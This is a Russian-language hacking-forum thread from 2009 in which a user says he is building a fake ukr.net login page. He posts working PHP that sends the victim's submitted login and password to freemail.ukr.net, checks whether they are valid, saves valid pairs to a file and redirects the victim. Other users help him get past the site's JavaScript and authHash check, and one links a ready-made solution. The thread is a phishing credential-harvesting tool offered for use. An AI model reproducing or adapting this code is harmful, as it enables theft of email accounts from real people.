Отключенный javascript

Discussion in 'PHP' started by sNt, 23 Jul 2009.

  1. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Делаю фейк ukr.net с проверкой авторизации. Идет отсылка на сервер данных, после чего анализация ответа и на основе этих данных уже выносим вердикт: верен ли пас или нет. Проблема в том, что хост проверяет наличие включенного javascript и если таковой не оправдывает ожидания, то вообще обрубает нахрен все попытки отослать запрос на авторизацию, мотвивируя тем, что без явы у вас ничего не выйдет путного. Вопрос: как можно "объяснить" серверу, что у меня ява-таки включена путем отсылки заголовков? Спасибо :)
     
    #1 sNt, 23 Jul 2009
    Last edited: 23 Jul 2009
  2. r00nix

    r00nix Banned

    Joined:
    7 May 2009
    Messages:
    48
    Likes Received:
    20
    Reputations:
    0
    Смею предположить, что используешь PHP. Как отправляешь запрос на сервер, соксами или с помощью curl?
     
  3. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Сокетами
     
  4. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Сам скрипт отправки:
    PHP:
    <?php

    $login 
    $_POST['login'];
    $pass $_POST['password'];
    $domain $_POST['domainname'];

    $login 'helloworld';
    $pass '123456';

    $fp fsockopen('freemail.ukr.net'80$errno$errstr30); 

    if (!
    $fp) die('<p>'.$errstr.' ('.$errno.')</p>'); 

    $data "backURL=http%3A%2F%2Fwww.ukr.net%2F&Challenge=17b4577ec6c587490be96663f27bc9fb&Submit=Submit&Login=$login&Password=$pass&submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8"
    $headers  "POST /q/splash HTTP/1.1\n"// отвечает за тип протокола!  
    $headers .= "Host: freemail.ukr.net\n"
    $headers .= "Connection: close\n";
    $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 8; Windows 5.1)\r\n";
    $headers .= "Content-Type: application/x-www-form-urlencoded\r\n";  
    $headers .= "Content-Length: ".strlen($data)."\r\n\r\n".$data

    fwrite($fp$headers.$data); 

    while ( !
    feof($fp) ) $line .= fgets($fp1024);

    fclose($fp);

    $auth=0;

    $text="EPOSTMAILSESSIONID";
    if(
    preg_match("/$text/i""$line")) {$auth=1;} else {$auth=0;}
    echo 
    $line;
    if(
    $auth==1
    {
    $file=fopen("base.txt""a");
    fwrite($file"$login@$domain:$pass\r\n");
    fclose($file); { header("location: http://mail.km.ru/folders/folders.htm");} }else { header("location: index.php"); }

    ?>
    Скрипт выведет ответ от сервера. Там все видно :)
     
  5. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,587
    Likes Received:
    405
    Reputations:
    196
    наверняка там яваскриптовый код , при нажатии кнопки входа он исполняется и какому-то параметру в hidden поле присваивается значение, которое говорит о том, что js включен. Соотвественно, если js выключен - то этого значения не будет. И уже скрипт на серваке смотрит есть ли оно или нет. Поэтому отследи все параметры передаваемые на сервак при авторизации.
     
  6. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    ща глянул... Там по ходу если что-то такое и есть, то в самом скрипте происходит т.к. нету вообще никаких опознавательных знаков, которые могли бы свидетельствовать о каких-либо проверках и тому подобого. Тупо blablabla код 'Пожалуйста, включите javascript' и т.д. Никаких проверок я не увидел. Видать, на сервере процесс происходит :(
     
  7. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,587
    Likes Received:
    405
    Reputations:
    196
    серверные скрипты не могут самостоятельно определить включен или нет яваскрипт
     
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    всё есть на ачаде, имеющий ухи да обрящет:

    https://forum.antichat.ru/showpost.php?p=1302135&postcount=33
     
  9. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Пшкела, немного не то имхо. Мне не нужно ничего делать с этой страницей. Мне нужно дать серву понять, что у меня включен яваскрипт и все. Ничего делать в итоге мне не нужно. P.S. Он определяет наличие включенного яваскрипта сразу после захода т.е. без всяких нажатий. В коде не могу ничего найти. Помогите, плз. http://ukr.net
     
    #9 sNt, 23 Jul 2009
    Last edited: 24 Jul 2009
  10. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    ты в исходники-то смотрел? Там один сплошной яваскрипт, начиная с определения языка и etc.

    Кнопок он не жал. А их жать и не надо
     
  11. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Млять, смотрел. Кароче, разобрался. Хер там чо сделаешь.
     
  12. FireFenix

    FireFenix Elder - Старейшина

    Joined:
    3 Jun 2009
    Messages:
    390
    Likes Received:
    115
    Reputations:
    23
    http://rapidshare.com/files/260020104/freemail.ukr.net.rar.html

    antiJS - генерация хеша authHash к паролю и Challenge
    freemail.php - curl + авторизация

    POST запрос идёт в виде
    Code:
    backURL=&Challenge=45f2db951ba1cae4773a07618d5c5b65&Login=login&Password=&Submit=Submit&authHash=115dc32c36cf731600a96ec1d1f6eecd&x=44&y=15
    где authHash генерится из Challenge и Password
    x и y судя произвольные переменные
     
    #12 FireFenix, 26 Jul 2009
    Last edited: 26 Jul 2009
    1 person likes this.
  13. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Спс. И ты мне говоришь "руки не из того места". У меня не 20 лет опыта программирования, а всего лишь пару месяцев... я даже понятие не имел, что там можно вообще сделать с этим. Ещё раз спасибо :)
     
Loading...